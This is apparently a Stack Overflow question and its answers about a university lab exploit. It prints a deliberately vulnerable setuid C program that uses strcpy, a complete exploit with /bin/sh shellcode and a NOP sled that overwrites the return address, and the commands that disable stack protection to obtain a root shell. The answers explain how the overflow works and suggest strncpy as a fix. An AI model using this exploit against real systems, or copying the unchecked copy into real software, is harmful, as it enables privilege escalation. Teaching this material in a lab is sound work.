user3071303
user3071303

Reputation: 51

Buffer overflow implementation

My professor uploaded an example of buffer overflow for us, but didn't really explain it very well. Basically, he takes advantage of a buffer overflow to generate a shell that has root privileges. I was hoping someone would be able to explain to me exactly what is happening in his example code. He uses two C files, the first one is the vulnerable program.

    /* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
//stack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
    char buffer[12];
    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);
    return 1;
}
int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}

The second code is the exploit.

/* A program that creates a file containing code for launching shell*/
//exploit.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define DEFAULT_OFFSET 350

char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;

unsigned int get_sp(void)
{
    __asm__("movl %esp,%eax");
}

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    char *ptr;
    long *a_ptr;
    int ret;

    int offset = DEFAULT_OFFSET;
    int codeSize = sizeof(shellcode);
    int buffSize = sizeof(buffer);

    if(argc > 1) offset = atoi(argv[1]);

    ptr = buffer;
    a_ptr = (long *) ptr;

    memset(buffer, 0x90, buffSize);

    ret = get_sp() + offset;
    printf("Return Address: 0x%x\n", get_sp());
    printf("Address: 0x%x\n", ret);

    ptr = buffer;
    a_ptr = (long *) ptr;

    int i;
    for(i = 0; i < 300; i += 4)
    {
        *(a_ptr++) = ret;
    }

    for(i = 486; i < codeSize + 486; ++i)
    {
        buffer[i] = shellcode[i-486];
    }

    buffer[buffSize-1] = '\0';

    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

He then uses these commands from command line

$ su root
$ Password (enter root password)
# gcc -o stack -fno-stack-protector stack.c
# chmod 4755 stack
# exit
$ gcc -o exploit exploit.c
$./exploit
$./stack

I tested it on our Ubuntu VM we have set up for the class and it gets root access, but I just don't understand how. He also asked us to think about how we could improve the code and any suggestions would be welcomed!

Upvotes: 3

Views: 3203

Answers (2)

kamituel
kamituel

Reputation: 35960

I'm not a exploit expert for sure, but that's how I understand it (hope that helps):

Exploited program

The following two lines have an issue, because you're trying to copy a buffer which has 517 bytes into a buffer which has 12 bytes capacity. strcpy isn't smart enough to stop writing to buffer after 12 bytes, so it'll write to some place in memory, overriding anyting that was there.

char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);

Since your program is running with root privileges, anything wrote in the memory could be run with same privileges.

Exploit program

Exploit contains an assembly code which is capable of spawning a new shell instance. This code will be written to the badfile, at the location after the first 12 bytes. That's because first 12 bytes fit into the buffer in the attacked program. This file is later read to this buffer, and then copied to the (to small) str buffer, which means than anything other than first 12 bytes, will be placed somewhere in the memory of the (root privileged) exploited program.

char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;

Lastly, what the exploit does, it pushes the injected code in the stack, and rewrites return address so the injected code will get executed. As suggested by @artless noise in the comment, this is being done here:

for(i = 0; i < 300; i += 4)
{
    *(a_ptr++) = ret;
}

For an explanation on how the stack looks like, see this article and the helpful diagrams there.

Of course, all that is possible, because the attacked program is run with root privileges. That's because you've run this command as root:

# chmod 4755 stack

The first number, 4, means that this file (stack binary) will be called with the privileges of the user who owns this file, not the user who is calling it (which is the default behaviour). This is called a setuuid. Without that, attacker would be able to gain privileges of the user who launched stack, who would have lower privileges than root.

As a sidenote, that's precisely why it's highly advisable not to run any deamons as root (i.e. HTTP servers). The buffer overflow vulnerability can always be discovered, even in the best, most secure codebases. Running program as a regular user makes it harded for an attacker to do a real harm.

Upvotes: 4

Degustaf
Degustaf

Reputation: 2670

@kamituel provided a good explanation of how the exploit works, and hints at how to make the code better

strcpy isn't smart enough to stop writing to buffer after 12 bytes, ...

The way that this is corrected is by using strncpy. This function behaves just like strcpy except it limits how many bytes can be copied. Thus you can prevent the buffer overflow attack by limiting the copy to the 12 bytes you have available in the buffer.

Upvotes: -3

Related Questions